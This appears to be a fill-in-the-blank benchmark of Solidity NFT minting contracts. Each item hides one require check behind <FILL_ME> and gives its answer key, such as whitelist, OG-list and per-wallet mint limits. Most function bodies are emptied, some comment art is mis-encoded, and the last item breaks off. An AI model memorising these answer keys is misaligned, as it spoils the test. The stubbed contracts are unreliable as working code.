// . .. .. .. .cc. ,k0c .:' .. . ..... ... . ... ...
// .... .. .',,co. .,, ... .. . ..... .. ... ....
// ... . ;d,l0; .,. .. . ..... .. ... ....
// . .... ... .dl cO, .. ... ..... ... .. ...
// ... ..co. .'. ... ..... ... .. .... .
// . . ..'d: .:' ..... .. .... ..
// . . .. 'c. ;d' ..... . ..... ..
// .. ... ... l: . .... .. . ..... ...
// .. .. .... .;. ';. ... .... ..... ..
// . ... ... .l; ';. ... ... .... .
// . .. ... ,l. .. .;. .o:. .... ... .... ..
// .. . .l, .kx. ,Kd .cxc. .... ... ..... ...
// . .. . .o: .:; .;' lK:... ... ... ..... ...
// . . .oc dx... ... .... . .... ...
// . .o: .xo.. ... .... . ... ..
// . 'd; 'xc.. .... .... .. . .... ..
// .. ...o; cd'. .... .... .. ... ...
// ... .. ...l; .dc. ... .... .. ... ..
// ..... .. .. c: .dl. ... ... .. ... ...
// .... .. 'l:' 'ol. .... ... .. .... ....
// .. ... .. .,cc:. .',;,... .... ... ... ...
// . ... .. ..;lc. ,lddc,. ... ... .... ... ..
// . . ... .,l:. .d0o'. .... .... ... ... .. .
// ... . . .. ... .:l. ,xd,. ... .... .... . .. ... ..
// ... . .. ... 'c, :Oc.. ... ..... ..... . .. ... ...
// .. . . . . .. ... .;:' .;l::cc:,. .. ..... .... .. .. ... ..
// . . . . . . .. .;oc ..,;'.. .... .... . .. ...
// .. .. . .. .. .. ..''. cc. .... ..... . .. ...
// . .. . . .. .':, ,x; ... .... .. .. ...
// . .. . . ... .,lloc. .lxc' .... .... .. ..
// . .. . ... ... ;kk; .;::;'... ..... ..
// .. . ... .. ;Od. .,;,. .... ..
// .. . ... ... .kd . .... .... ... ....
// . .. ... .. lK; . ...'..... ... ...
// . . ... ... .. .kO. .cc... .
// .. . .. ... .. :Xx. cl..
// . .. .. .. .xX: :l..
// .. .. ... . '0x. 'c. .
// . ... ... .. :0: ..'''.. .c' ...
// . .. .. .. ok. .;d0XXKKK0kl'MXo .l, ...
// .. .. .. .. .kk. .c0NMW.ImBroken.XWMXo. .c; .
// .. .. .. ;0l 'kWWNNN.ImBroken.KWMMWx. lc
// .. .. . l0, 'kNN0O0K.ImBroken.NNWMNc cl ..
// .. . . .xx. .xNN0kKXK.ImBroken.X0NMWd. ;o. .
// .. . .. ,0l :NMNXXXk0.ImBroken.NKNMWx. ,d' .
// . . .. cO, cNMWWWKx0.ImBroken.WNWMWd. 'o' .. .
// .. . .dx. .kWMMMN0X.ImBroken.WWWWNc .o, ..
// .. . 'Oo .xNMMWWW.ImBroken.MWWWk. .x: ..
// . .. . . :O; .:OWWWM.ImBroken.NWNk' .dl .
// . . .. . .ld. .;dO0KKXK00ko;.MXo oo . ..
// . .. . ..oc .',,,'.. cd. ...
// . .. .'o; cx. . ...
// .. ..,x, :k, ..
// . .. .. :x. ;k, . .
// . .. ... od. ;O: ...
// . .. .. .dc ,0l .... ...
// .. .. ... ,x; ,0d ... .....
// ... .. ... lk. .Ox. ... .......
// .... .. ... dd. .dx. .... .......
// ... ... ... .ko dk. .... ........
// .... . ... .... .kl cx. ..... ......
// .... . ... ... '0l cd. ..... .......
contract ImBroken is ERC721A {
using Strings for uint256;
event StageChanged(Stage from, Stage to);
enum Stage {
Pause,
Public
}
modifier onlyOwner() {
}
uint256 public constant MAX_SUPPLY = 5555;
uint256 public freeSupply = 2000;
uint256 public price = 0.005 ether;
uint256 public constant MAX_MINT_PER_TX = 10;
uint256 public constant MAX_MINT_PER_WALLET_FREE = 2;
address public immutable owner;
mapping(address => bool) public addressFreeMinted;
Stage public stage;
string public baseURI;
string internal baseExtension = ".json";
constructor() ERC721A("ImBroken", "IB") {
}
// GET Functions
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
// MINT Functions
// Only works before freeSupply is reached
// This function only work once
function freeMint(uint256 _quantity) external payable {
uint256 currentSupply = totalSupply();
require(
currentSupply + _quantity <= MAX_SUPPLY,
"ImBroken: exceed max supply."
);
require(<FILL_ME>)
if (stage == Stage.Public) {
if (currentSupply < freeSupply) {
require(
_quantity <= MAX_MINT_PER_WALLET_FREE,
"ImBroken: too many free mint per tx."
);
}
} else {
revert("ImBroken: mint is pause.");
}
addressFreeMinted[msg.sender] = true;
_safeMint(msg.sender, _quantity);
}
function mint(uint256 _quantity) external payable {
}
// SET Functions
function setStage(Stage newStage) external onlyOwner {
}
function setFreeSupply(uint256 newFreeSupply) external onlyOwner {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
// WITHDRAW Functions
function withdrawAll() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
}
| addressFreeMinted[msg.sender]==false,"ImBroken: already free minted" | 155,419 | addressFreeMinted[msg.sender]==false |
"not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Tradeable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "operator-filter-registry/src/OperatorFilterRegistry.sol";
contract WenNight is OperatorFilterRegistry, DefaultOperatorFilterer, Context, ERC721Tradeable {
using SafeMath for uint256;
using SafeMath for int256;
address payable payableAddress;
bytes32 public merkleRoot = 0x00000000;
using Counters for Counters.Counter;
// mintStage 1 == Whitelist, 2 == public
uint256 mintStage = 0;
constructor(address _proxyAddress) ERC721Tradeable("Wen The Night Falls", "WENNIGHT", _proxyAddress) {
}
function mint(
uint256 amount
) public virtual payable {
}
function whitelistMint(uint256 amount, bytes32[] calldata merkleProof) public virtual payable {
require(mintStage == 1, "Whitelist mint not started");
require(<FILL_ME>)
_mintValidate(amount, _msgSender(), true);
_safeMintTo(_msgSender(), amount);
}
function isWhitelisted(bytes32[] calldata _merkleProof) internal view returns (bool) {
}
function updateMerkleRoot(bytes32 newMerkleRoot) public onlyOwner {
}
function teamMint(
uint256 amount,
address to
) public virtual onlyOwner {
}
function setBaseTokenURI(string memory uri) public onlyOwner {
}
function mintTo(address _to) public onlyOwner {
}
function _safeMintTo(
address to,
uint256 amount
) internal {
}
function _mintValidate(uint256 amount, address to, bool isWhitelist) internal virtual {
}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function setPublicSale(bool toggle) public virtual onlyOwner {
}
function setMintStage(uint256 stage) public virtual onlyOwner {
}
function isSaleActive() public view returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721)
returns (bool)
{
}
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function baseTokenURI() public view returns (string memory) {
}
function updateContractURI(string memory newContractURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function withdraw() public onlyOwner {
}
function maxSupply() public view virtual returns (uint256) {
}
function maxMintPerTx() public view virtual returns (uint256) {
}
function maxMintPerWallet() public view virtual returns (uint256) {
}
function cutSupply(uint256 newSupply) public onlyOwner {
}
//new fees stuff
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| isWhitelisted(merkleProof),"not whitelisted" | 155,503 | isWhitelisted(merkleProof) |
"Not on the OG list!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
/**
* @title TapTapRev contract
* @dev Extends ERC721A Non-Fungible Token Standard implementation
*/
contract TapTapRev is
Ownable,
ReentrancyGuard,
ERC721AQueryable
{
using SafeMath for uint256;
uint256 public immutable collectionSize = 8888;
uint256 public reserveAmount = 300; // 100 for OG airdrops
uint256 public ogMaxSupply = 250;
uint256 public ogMaxTotalSupply = ogMaxSupply + reserveAmount;
uint256 public constant ogPrice = 0.15 ether;
uint256 public constant allowlistPrice = 0.2 ether;
uint256 public constant publicMintPrice = 0.25 ether;
uint256 public constant addressMintMax = 8;
uint256 public ogMintDuration = 48 hours;
uint256 public ogMintStartTime = 0; // Must be EPOCH
uint256 public allowlistMintDuration = 48 hours;
uint256 public allowlistMintStartTime = 0; // Must be EPOCH
uint256 public publicMintDuration = 30 days;
uint256 public publicMintStartTime = 0; // Must be EPOCH
/*
* Once mint ends this will only be able to be updated to false, closing mint forever.
* Supply can never be diluted.
*/
bool public mintOpen = true;
/*
* Token.
*/
string private _baseTokenURI;
/*
* Phase 1 and 2 allow list mappings.
*/
mapping(address => uint256) public oglist;
mapping(address => uint256) public allowlist;
/*
* Make sure origin is sender.
*/
modifier callerIsUser() {
}
/*
* Make sure were open for business.
*/
modifier onlyMintOpen() {
}
constructor(
string memory _initName,
string memory _initSymbol,
string memory _initBaseURI,
uint256 _initOgMintStartTime,
uint256 _initAllowlistMintStartTime,
uint256 _initpublicMintStartTime
) ERC721A(_initName, _initSymbol) {
}
/*
* Connect and override base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/*
* Set base URI for meta data.
*/
function setBaseURI(string calldata baseURI) external onlyOwner nonReentrant {
}
/*
* Set base URI for meta data.
*/
function _validatePayment(uint256 price) private {
}
/*
* Withdraw Ether from contract.
*/
function withdrawFunds() external onlyOwner nonReentrant {
}
/*
* Seed Allow List for OG mint.
*/
function seedOGList(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Seed Allow List for OG mint.
*/
function seedAllowlist(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Reverse look up tokenId to owner address.
*/
function getTokenOwnerAddress(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
* Get number of tokens a user has minted.
*/
function getNumberMinted(address owner) public view returns (uint256) {
}
/*
* Update OG Mint duration if necessary.
*/
function setOgMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update OG Mint start time if necessary.
*/
function setOgMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint duration if necessary.
*/
function setAllowlistMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint start time if necessary.
*/
function setAllowlistMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update Public Mint duration if necessary.
*/
function setPublicMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update Public Mint start time if necessary.
*/
function setPublicMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Close Minting.
*/
function closeMint() external onlyOwner nonReentrant {
}
/*
* Set some TTRs aside for marketing etc.
*/
function mintDevAndMarketingReserve() external onlyOwner nonReentrant onlyMintOpen {
}
/*
* Mint function to handle OG minting.
*/
function ogMint() external payable callerIsUser onlyMintOpen {
require(block.timestamp >= ogMintStartTime, "OG Mint not yet started.");
require(block.timestamp < ogMintStartTime + ogMintDuration, "Mint is over.");
require(<FILL_ME>)
require(totalSupply() + 1 <= ogMaxTotalSupply, "Max OG TTR's Minted");
require(
totalSupply() + 1 <= collectionSize,
"Purchase would exceed max supply"
);
oglist[msg.sender]--;
_safeMint(msg.sender, 1);
_validatePayment(ogPrice);
}
/*
* Mint function to handle allowlist minting.
*/
function allowListMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
/*
* Mint function to handle public auction.
*/
function publicMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
}
| oglist[msg.sender]>0,"Not on the OG list!" | 155,505 | oglist[msg.sender]>0 |
"Max OG TTR's Minted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
/**
* @title TapTapRev contract
* @dev Extends ERC721A Non-Fungible Token Standard implementation
*/
contract TapTapRev is
Ownable,
ReentrancyGuard,
ERC721AQueryable
{
using SafeMath for uint256;
uint256 public immutable collectionSize = 8888;
uint256 public reserveAmount = 300; // 100 for OG airdrops
uint256 public ogMaxSupply = 250;
uint256 public ogMaxTotalSupply = ogMaxSupply + reserveAmount;
uint256 public constant ogPrice = 0.15 ether;
uint256 public constant allowlistPrice = 0.2 ether;
uint256 public constant publicMintPrice = 0.25 ether;
uint256 public constant addressMintMax = 8;
uint256 public ogMintDuration = 48 hours;
uint256 public ogMintStartTime = 0; // Must be EPOCH
uint256 public allowlistMintDuration = 48 hours;
uint256 public allowlistMintStartTime = 0; // Must be EPOCH
uint256 public publicMintDuration = 30 days;
uint256 public publicMintStartTime = 0; // Must be EPOCH
/*
* Once mint ends this will only be able to be updated to false, closing mint forever.
* Supply can never be diluted.
*/
bool public mintOpen = true;
/*
* Token.
*/
string private _baseTokenURI;
/*
* Phase 1 and 2 allow list mappings.
*/
mapping(address => uint256) public oglist;
mapping(address => uint256) public allowlist;
/*
* Make sure origin is sender.
*/
modifier callerIsUser() {
}
/*
* Make sure were open for business.
*/
modifier onlyMintOpen() {
}
constructor(
string memory _initName,
string memory _initSymbol,
string memory _initBaseURI,
uint256 _initOgMintStartTime,
uint256 _initAllowlistMintStartTime,
uint256 _initpublicMintStartTime
) ERC721A(_initName, _initSymbol) {
}
/*
* Connect and override base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/*
* Set base URI for meta data.
*/
function setBaseURI(string calldata baseURI) external onlyOwner nonReentrant {
}
/*
* Set base URI for meta data.
*/
function _validatePayment(uint256 price) private {
}
/*
* Withdraw Ether from contract.
*/
function withdrawFunds() external onlyOwner nonReentrant {
}
/*
* Seed Allow List for OG mint.
*/
function seedOGList(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Seed Allow List for OG mint.
*/
function seedAllowlist(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Reverse look up tokenId to owner address.
*/
function getTokenOwnerAddress(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
* Get number of tokens a user has minted.
*/
function getNumberMinted(address owner) public view returns (uint256) {
}
/*
* Update OG Mint duration if necessary.
*/
function setOgMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update OG Mint start time if necessary.
*/
function setOgMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint duration if necessary.
*/
function setAllowlistMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint start time if necessary.
*/
function setAllowlistMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update Public Mint duration if necessary.
*/
function setPublicMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update Public Mint start time if necessary.
*/
function setPublicMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Close Minting.
*/
function closeMint() external onlyOwner nonReentrant {
}
/*
* Set some TTRs aside for marketing etc.
*/
function mintDevAndMarketingReserve() external onlyOwner nonReentrant onlyMintOpen {
}
/*
* Mint function to handle OG minting.
*/
function ogMint() external payable callerIsUser onlyMintOpen {
require(block.timestamp >= ogMintStartTime, "OG Mint not yet started.");
require(block.timestamp < ogMintStartTime + ogMintDuration, "Mint is over.");
require(oglist[msg.sender] > 0, "Not on the OG list!");
require(<FILL_ME>)
require(
totalSupply() + 1 <= collectionSize,
"Purchase would exceed max supply"
);
oglist[msg.sender]--;
_safeMint(msg.sender, 1);
_validatePayment(ogPrice);
}
/*
* Mint function to handle allowlist minting.
*/
function allowListMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
/*
* Mint function to handle public auction.
*/
function publicMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
}
| totalSupply()+1<=ogMaxTotalSupply,"Max OG TTR's Minted" | 155,505 | totalSupply()+1<=ogMaxTotalSupply |
"Cannot Mint that many TTR's." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
/**
* @title TapTapRev contract
* @dev Extends ERC721A Non-Fungible Token Standard implementation
*/
contract TapTapRev is
Ownable,
ReentrancyGuard,
ERC721AQueryable
{
using SafeMath for uint256;
uint256 public immutable collectionSize = 8888;
uint256 public reserveAmount = 300; // 100 for OG airdrops
uint256 public ogMaxSupply = 250;
uint256 public ogMaxTotalSupply = ogMaxSupply + reserveAmount;
uint256 public constant ogPrice = 0.15 ether;
uint256 public constant allowlistPrice = 0.2 ether;
uint256 public constant publicMintPrice = 0.25 ether;
uint256 public constant addressMintMax = 8;
uint256 public ogMintDuration = 48 hours;
uint256 public ogMintStartTime = 0; // Must be EPOCH
uint256 public allowlistMintDuration = 48 hours;
uint256 public allowlistMintStartTime = 0; // Must be EPOCH
uint256 public publicMintDuration = 30 days;
uint256 public publicMintStartTime = 0; // Must be EPOCH
/*
* Once mint ends this will only be able to be updated to false, closing mint forever.
* Supply can never be diluted.
*/
bool public mintOpen = true;
/*
* Token.
*/
string private _baseTokenURI;
/*
* Phase 1 and 2 allow list mappings.
*/
mapping(address => uint256) public oglist;
mapping(address => uint256) public allowlist;
/*
* Make sure origin is sender.
*/
modifier callerIsUser() {
}
/*
* Make sure were open for business.
*/
modifier onlyMintOpen() {
}
constructor(
string memory _initName,
string memory _initSymbol,
string memory _initBaseURI,
uint256 _initOgMintStartTime,
uint256 _initAllowlistMintStartTime,
uint256 _initpublicMintStartTime
) ERC721A(_initName, _initSymbol) {
}
/*
* Connect and override base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/*
* Set base URI for meta data.
*/
function setBaseURI(string calldata baseURI) external onlyOwner nonReentrant {
}
/*
* Set base URI for meta data.
*/
function _validatePayment(uint256 price) private {
}
/*
* Withdraw Ether from contract.
*/
function withdrawFunds() external onlyOwner nonReentrant {
}
/*
* Seed Allow List for OG mint.
*/
function seedOGList(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Seed Allow List for OG mint.
*/
function seedAllowlist(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Reverse look up tokenId to owner address.
*/
function getTokenOwnerAddress(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
* Get number of tokens a user has minted.
*/
function getNumberMinted(address owner) public view returns (uint256) {
}
/*
* Update OG Mint duration if necessary.
*/
function setOgMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update OG Mint start time if necessary.
*/
function setOgMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint duration if necessary.
*/
function setAllowlistMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint start time if necessary.
*/
function setAllowlistMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update Public Mint duration if necessary.
*/
function setPublicMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update Public Mint start time if necessary.
*/
function setPublicMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Close Minting.
*/
function closeMint() external onlyOwner nonReentrant {
}
/*
* Set some TTRs aside for marketing etc.
*/
function mintDevAndMarketingReserve() external onlyOwner nonReentrant onlyMintOpen {
}
/*
* Mint function to handle OG minting.
*/
function ogMint() external payable callerIsUser onlyMintOpen {
}
/*
* Mint function to handle allowlist minting.
*/
function allowListMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
require(block.timestamp >= allowlistMintStartTime, "Allowlist Mint not yet started.");
require(block.timestamp < allowlistMintStartTime + allowlistMintDuration, "Mint is over.");
require(allowlist[msg.sender] > 0, "Not on the allowlist or max reached!");
require(<FILL_ME>)
require(
totalSupply() + quantity <= collectionSize,
"Purchase would exceed max supply"
);
allowlist[msg.sender] = allowlist[msg.sender] - quantity;
uint256 totalCost = allowlistPrice * quantity;
_safeMint(msg.sender, quantity);
_validatePayment(totalCost);
}
/*
* Mint function to handle public auction.
*/
function publicMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
}
| allowlist[msg.sender]>=quantity,"Cannot Mint that many TTR's." | 155,505 | allowlist[msg.sender]>=quantity |
"Cannot Mint that many TTR's." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
/**
* @title TapTapRev contract
* @dev Extends ERC721A Non-Fungible Token Standard implementation
*/
contract TapTapRev is
Ownable,
ReentrancyGuard,
ERC721AQueryable
{
using SafeMath for uint256;
uint256 public immutable collectionSize = 8888;
uint256 public reserveAmount = 300; // 100 for OG airdrops
uint256 public ogMaxSupply = 250;
uint256 public ogMaxTotalSupply = ogMaxSupply + reserveAmount;
uint256 public constant ogPrice = 0.15 ether;
uint256 public constant allowlistPrice = 0.2 ether;
uint256 public constant publicMintPrice = 0.25 ether;
uint256 public constant addressMintMax = 8;
uint256 public ogMintDuration = 48 hours;
uint256 public ogMintStartTime = 0; // Must be EPOCH
uint256 public allowlistMintDuration = 48 hours;
uint256 public allowlistMintStartTime = 0; // Must be EPOCH
uint256 public publicMintDuration = 30 days;
uint256 public publicMintStartTime = 0; // Must be EPOCH
/*
* Once mint ends this will only be able to be updated to false, closing mint forever.
* Supply can never be diluted.
*/
bool public mintOpen = true;
/*
* Token.
*/
string private _baseTokenURI;
/*
* Phase 1 and 2 allow list mappings.
*/
mapping(address => uint256) public oglist;
mapping(address => uint256) public allowlist;
/*
* Make sure origin is sender.
*/
modifier callerIsUser() {
}
/*
* Make sure were open for business.
*/
modifier onlyMintOpen() {
}
constructor(
string memory _initName,
string memory _initSymbol,
string memory _initBaseURI,
uint256 _initOgMintStartTime,
uint256 _initAllowlistMintStartTime,
uint256 _initpublicMintStartTime
) ERC721A(_initName, _initSymbol) {
}
/*
* Connect and override base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/*
* Set base URI for meta data.
*/
function setBaseURI(string calldata baseURI) external onlyOwner nonReentrant {
}
/*
* Set base URI for meta data.
*/
function _validatePayment(uint256 price) private {
}
/*
* Withdraw Ether from contract.
*/
function withdrawFunds() external onlyOwner nonReentrant {
}
/*
* Seed Allow List for OG mint.
*/
function seedOGList(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Seed Allow List for OG mint.
*/
function seedAllowlist(
address[] memory addresses,
uint256[] memory numAllowedBySlot
)
external
onlyOwner
nonReentrant
{
}
/*
* Reverse look up tokenId to owner address.
*/
function getTokenOwnerAddress(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
/*
* Get number of tokens a user has minted.
*/
function getNumberMinted(address owner) public view returns (uint256) {
}
/*
* Update OG Mint duration if necessary.
*/
function setOgMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update OG Mint start time if necessary.
*/
function setOgMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint duration if necessary.
*/
function setAllowlistMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update allowlist Mint start time if necessary.
*/
function setAllowlistMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Update Public Mint duration if necessary.
*/
function setPublicMintDuration(uint256 _duration) external onlyOwner nonReentrant {
}
/*
* Update Public Mint start time if necessary.
*/
function setPublicMintStartTime(uint256 _startTime) external onlyOwner nonReentrant {
}
/*
* Close Minting.
*/
function closeMint() external onlyOwner nonReentrant {
}
/*
* Set some TTRs aside for marketing etc.
*/
function mintDevAndMarketingReserve() external onlyOwner nonReentrant onlyMintOpen {
}
/*
* Mint function to handle OG minting.
*/
function ogMint() external payable callerIsUser onlyMintOpen {
}
/*
* Mint function to handle allowlist minting.
*/
function allowListMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
}
/*
* Mint function to handle public auction.
*/
function publicMint(uint256 quantity) external payable callerIsUser onlyMintOpen {
require(block.timestamp >= publicMintStartTime, "Public Mint not yet started.");
require(block.timestamp < publicMintStartTime + publicMintDuration, "Public is over.");
require(<FILL_ME>)
require(
totalSupply() + quantity <= collectionSize,
"Purchase would exceed max supply"
);
uint256 totalCost = publicMintPrice * quantity;
_safeMint(msg.sender, quantity);
_validatePayment(totalCost);
}
}
| getNumberMinted(msg.sender)+quantity<=addressMintMax,"Cannot Mint that many TTR's." | 155,505 | getNumberMinted(msg.sender)+quantity<=addressMintMax |
"ArchOfPeace: sender not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./MonuverseEpisode.sol";
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "./ArchOfPeaceWhitelist.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*βββ¬ββ*\
β βββββββββββββββββ©ββββββββββββββ©βββ
β ββ ββββββββββββββββββββββββββββββββ
ββ βββββββββββββββββββββββββββββββββββββ
β β ββββββββββββββββββββββββββββββββββββ
β ββ β βββββββββββββββββββββββββββββββββ
β ββ¦β β¦β¦β¦ βββββββββββ β¦β¦β¦ β¦β¦β¦
βββββββββββββββββ βββββββββββββββββ
β ββββββββββββββββββ©ββββββββββββββββββ
βββββββββββββββ' 'βββββββββββββββ
ββββββ βββββββ \ββ΄β/ βββββββ ββββββ
βββββ΄ββββββ β ββ βββββββ©ββββββ
ββββββ\ βββββ ββββββββ/ββββββ
β βββββββ βββ β ββββββ βββββββ
β β β©β©β©βββ β©β©β©ββ β ββββ©β©β© ββββ©β©β©
β β βββββββ ββββββ βββ βββββββ βββββββ
β ββ ββββββββ ββββββ βββββ βββββββ βββββββ
__ __ ___ ββββββββ ββββββ ββββββββββββββ_βββββββ_____________________
| \/ |/ _ \β \ββ |β ββ |\ \βββββββ/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
if (!_chapterAllowsOpenMint()) {
require(<FILL_ME>)
}
require(entropy() == 0, "ArchOfPeace: already revealed");
require(
_isQuantityWhitelisted(_mintCounter[_msgSender()], quantity, limit),
"ArchOfPeace: quantity not allowed"
);
require(_chapterAllowsMint(quantity, _minted), "ArchOfPeace: no mint chapter");
require(_chapterAllowsMintGroup(group), "ArchOfPeace: group not allowed");
require(_chapterMatchesOffer(quantity, msg.value, group), "ArchOfPeace: offer unmatched");
_mint(_msgSender(), quantity);
_mintCounter[_msgSender()] += quantity;
if (_minted == chapterMintLimit()) {
_maxSupply == chapterMintLimit()
? _emitMonumentalEvent(EpisodeMinted.selector)
